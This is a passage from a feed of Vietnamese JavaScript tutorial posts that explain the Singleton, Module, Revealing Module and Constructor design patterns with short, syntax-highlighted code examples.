0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích</h3> <p>Các bạn có thể thấy, cách triển khai Singleton trên rất giống với <strong>Module Pattern</strong>. Chỉ có một chú ý là, mySingleton chỉ có một access point duy nhất là getInstance. Vậy tại sao khi sử dụng <a href="/ham-la-gi-ham-trong-javascript/">function</a> này thì ta chỉ thu được một instance duy nhất?</p> <p>Đúng vậy, ban đầu khi chưa gọi getInstance lần nào thì biến instance sẽ là undefined. Lúc này, instance sẽ được khởi tạo bằng cách sử dụng hàm số init. Cuối cùng, hàm số trả về biến instance. Đối với các lần gọi getInstance tiếp theo, vì instance đã khác undefined nên nó sẽ không được tạo mới mà sẽ return ngay lập tức.</p> <p>Như ví dụ trên, instA khi mới tạo ra thì getNumber sẽ trả về 0. Trong khi, instB khi mới tạo ra thì getNumber trả về 10 - giá trị này được set ở instA trước đó. Và quan trọng hơn, <strong>instA === instB</strong> trả về giá trị true. Như vậy, thực chất instB cũng chính là instA.</p> <h2 id="singleton-with-a-cached-static-property" style="position:relative;"><a href="#singleton-with-a-cached-static-property" aria-label="singleton with a cached static property permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Singleton with a cached static property</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// do we have an existing instance?</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> User<span class="token punctuation">.</span>instance <span class="token operator">===</span> <span class="token string">"object"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> User<span class="token punctuation">.</span>instance<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// proceed as normal</span> <span class="token keyword">this</span><span class="token punctuation">.</span>firstName <span class="token operator">=</span> <span class="token string">"John"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>lastName <span class="token operator">=</span> <span class="token string">"Doe"</span><span class="token punctuation">;</span> <span class="token comment">// cache</span> User<span class="token punctuation">.</span>instance <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token comment">/** * // implicit return * return this; */</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token keyword">var</span> curUser <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>curUser<span class="token punctuation">.</span>firstName<span class="token punctuation">,</span> curUser<span class="token punctuation">.</span>lastName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// John Doe</span> <span class="token keyword">var</span> other <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>other<span class="token punctuation">.</span>firstName<span class="token punctuation">,</span> other<span class="token punctuation">.</span>lastName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// John Doe</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>other <span class="token operator">===</span> curUser<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Cách này khi mới đọc thì sẽ thấy hơi ảo, ở chỗ là, trong hàm User ta lại sử dụng User.instance. Nhưng nếu nhìn theo khía cạnh, function cũng chính là một <a href="/object-la-gi-object-trong-javascript/">object</a> thì mọi chuyện sẽ trở nên đơn giản.</p> <p>Như trong ví dụ trên, khi khởi tạo curUser (lần đầu tiên), User.instance đang có giá trị là undefined, nên mọi thứ được xử lý như bình thường. Khi kết thúc hàm, ta gán <strong>User.instance = this</strong> hay nói cách khác là <strong>User.instance = curUser</strong>. Đến khi khởi tạo đối tượng thứ hai là other, lúc này User.instance đã là curUser - một object, nên hàm trên sẽ return về User.instance (curUser). Đó, dù có gọi hàm khởi tạo bao nhiêu lần thì ta cũng chỉ thu được một đối tượng duy nhất.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/js-pattern-4-pubsub-pattern/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://addyosmani.com/resources/essentialjsdesignpatterns/book/#singletonpatternjavascript">Learning JavaScript Design Patterns</a></li> <li><a href="http://robdodson.me/javascript-design-patterns-singleton/">JavaScript Design Pattern Singleton</a></li> </ul>[email protected]<![CDATA[JS Pattern #2 - Module Pattern]]><![CDATA[Module pattern là một loại pattern khá mạnh và được sử dụng rất phổ biến, với một số các đặc điểm sau: Sử dụng Object Literals ({}) Cung cấp khả năng đóng gói dữ liệu với cả thuộc…]]>https://completejavascript.com/js-pattern-2-module-pattern/https://completejavascript.com/js-pattern-2-module-pattern/<![CDATA[IIFE]]><![CDATA[Design Pattern]]>Thu, 01 Feb 2018 00:00:21 GMT<p>Module pattern là một loại pattern khá mạnh và được sử dụng rất phổ biến, với một số các đặc điểm sau:</p> <ul> <li>Sử dụng Object Literals ({})</li> <li>Cung cấp khả năng đóng gói dữ liệu với cả thuộc tính và phương thức dạng <strong>public/private</strong>, giúp tránh xung đột về tên đối với các <a href="/ham-la-gi-ham-trong-javascript/">function</a> ở các script khác trên trang web.</li> </ul> <h2 id="ví-dụ-sử-dụng-module-pattern" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-module-pattern" aria-label="ví dụ sử dụng module pattern permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng Module Pattern</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> countModule <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">var</span> <span class="token function-variable function">log</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">funcName</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>funcName<span class="token punctuation">,</span> count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token function-variable function">increase</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"increase"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">decrease</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"decrease"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">reset</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"reset"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Usage:</span> countModule<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 1</span> countModule<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 2</span> countModule<span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 1</span> countModule<span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// reset 0</span></code></pre></div> <h3 id="giải-thích" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch" aria-label="giải thích permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích</h3> <p>Ví dụ trên định nghĩa một module tên là: <strong>countModule</strong>. Có thể bạn sẽ thắc mắc về cú pháp sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> countModule <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thực chất, đoạn code trên có thể tách ra làm 2 phần: Khai báo hàm và gọi hàm.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khai báo hàm</span> <span class="token keyword">var</span> <span class="token function-variable function">funcModule</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Gọi hàm</span> <span class="token keyword">var</span> countModule <span class="token operator">=</span> <span class="token function">funcModule</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Do đó, nếu muốn truyền tham số vào function (chẳng hạn như <strong>jQuery</strong>) thì bạn có thể viết như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> countModule <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">jQ</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span>jQuery<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Theo cách phân tích trên, thực chất <strong>countModule</strong> là thành phần <strong>return</strong> của function - dạng <a href="/object-la-gi-object-trong-javascript/">object</a> ({}). Do đó, ta chỉ có thể truy cập đến những thuộc tính bên trong object này là: <strong><em>increase, decrease, reset</em></strong>. Hay nói cách khác, những hàm số này thuộc dạng <strong>public</strong>.</p> <p>Ngược lại, biến số <strong>count</strong>, <strong>log</strong> chỉ truy cập được ở trong hàm số trên, nên thuộc dạng <strong>private</strong>.</p> <h2 id="revealing-module-pattern" style="position:relative;"><a href="#revealing-module-pattern" aria-label="revealing module pattern permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Revealing Module Pattern</h2> <p><strong>Module Pattern</strong> có một nhược điểm là khó theo dõi các phương thức được public. Sau đây là cách sử dụng <strong>Revealing Module Pattern</strong> để khắc phục nhược điểm này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> countModule <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">var</span> <span class="token function-variable function">log</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">funcName</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>funcName<span class="token punctuation">,</span> count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">increaseFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"increase"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">decreaseFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"decrease"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">resetFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"reset"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">increase</span><span class="token operator">:</span> increaseFunc<span class="token punctuation">,</span> <span class="token literal-property property">decrease</span><span class="token operator">:</span> decreaseFunc<span class="token punctuation">,</span> <span class="token literal-property property">reset</span><span class="token operator">:</span> resetFunc<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Usage:</span> countModule<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 1</span> countModule<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 2</span> countModule<span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// increase 1</span> countModule<span class="token punctuation">.</span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// reset 0</span></code></pre></div> <p>Bây giờ, ta có thể dễ dàng thấy rằng <strong>countModule</strong> có 3 phương thức được public là: <strong>increase, decrease, reset</strong>.</p> <p>Hy vọng với sự giải thích ngắn gọn trên, bạn có thể hiểu và áp dụng được Module Pattern.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/js-pattern-3-singleton-pattern/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://addyosmani.com/resources/essentialjsdesignpatterns/book/#modulepatternjavascript">Learning JavaScript Design Patterns</a></li> </ul>[email protected]<![CDATA[JS Pattern #1 - Constructor Pattern]]><![CDATA[Đối với lập trình hướng đối tượng trong JavaScript, cách đơn giản nhất để tạo mới một object là sử dụng function kết hợp với từ khoá new. Bên trong hàm khởi tạo này, từ khoá this…]]>https://completejavascript.com/js-pattern-constructor-pattern/https://completejavascript.com/js-pattern-constructor-pattern/<![CDATA[OOP]]><![CDATA[Design Pattern]]>Sun, 28 Jan 2018 00:00:01 GMT<p>Đối với <a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">lập trình hướng đối tượng trong JavaScript</a>, cách đơn giản nhất để tạo mới một object là sử dụng function kết hợp với từ khoá <strong>new</strong>. Bên trong hàm khởi tạo này, từ khoá <strong>this</strong> dùng để chỉ tới đối tượng mới. Thông thường, hàm khởi tạo được viết hoa chữ cái đầu tiên, dùng để phân biệt với các <a href="/ham-la-gi-ham-trong-javascript/">hàm số</a> thông thường. Sau đây, chúng ta sẽ cùng nhau tìm hiểu về một vài Constructor Pattern trong JavaScript.</p> <h2 id="constructor-pattern-cơ-bản" style="position:relative;"><a href="#constructor-pattern-c%C6%A1-b%E1%BA%A3n" aria-label="constructor pattern cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Constructor Pattern cơ bản</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Animal</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> leg</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token operator">=</span> leg<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function-variable function">about</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" has "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token operator">+</span> <span class="token string">" legs"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token keyword">var</span> dog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Dog"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> bird <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Bird"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dog<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Dog has 4 legs</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>bird<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Bird has 2 legs</span></code></pre></div> <p>Trong ví dụ trên, <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> sử dụng hàm khởi tạo <strong>Animal</strong> sẽ có 2 thuộc tính (<em>name</em>, <em>leg</em>) và 1 phương thức (<em>about</em>). Tuy nhiên, cách trên có nhược điểm là khó để kế thừa và phương thức <em>about</em> sẽ phải định nghĩa lại đối với mỗi đối tượng. Để khắc phục nhược điểm trên, ta có cách thứ hai là sử dụng <strong>Prototypes</strong>.</p> <h2 id="constructor-pattern-với-prototypes" style="position:relative;"><a href="#constructor-pattern-v%E1%BB%9Bi-prototypes" aria-label="constructor pattern với prototypes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Constructor Pattern với Prototypes</h2> <p>Trong JavaScript, mọi object (bao gồm <strong>function</strong>) đều tồn tại thuộc tính <strong>prototype</strong> - cũng là một object. Khi sử dụng hàm khởi tạo để tạo mới một object, mọi thuộc tính trong <strong>prototype</strong> đều được <a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">kế thừa</a> cho các đối tượng mới.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Animal</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> leg</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token operator">=</span> leg<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Animal</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">about</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">+</span> <span class="token string">" has "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token operator">+</span> <span class="token string">" legs"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Usage:</span> <span class="token keyword">var</span> dog <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Dog"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> bird <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Animal</span><span class="token punctuation">(</span><span class="token string">"Bird"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dog<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Dog has 4 legs</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>bird<span class="token punctuation">.</span><span class="token function">about</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Bird has 2 legs</span></code></pre></div> <h2 id="constructor-pattern-với-từ-khoá-class" style="position:relative;"><a href="#constructor-pattern-v%E1%BB%9Bi-t%E1%BB%AB-kho%C3%A1-class" aria-label="constructor pattern với từ khoá class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Constructor Pattern với từ khoá class</h2> <p>Từ khoá <strong>class</strong> thực chất là một hàm số đặc biệt. Sử dụng <strong>class</strong> cho phép khởi tạo đối tượng mới một cách trực quan, và gần với khái niệm <em>class</em> trong các ngôn ngữ lập trình khác như C++, Java,...</p> <p>Một điểm khác giữa <strong>class</strong> và <strong>function</strong> là <strong>function</strong> thuộc dạng <strong>hoisting</strong>, còn <strong>class</strong> thì không. Nghĩa là bạn có thể sử dụng hàm số trước khi khai báo hàm. Trong khi nếu bạn sử dụng class trước khi khai báo class thì bạn sẽ nhận được <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">thông báo lỗi</a> <strong>ReferenceError</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> leg</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>leg <span class="token 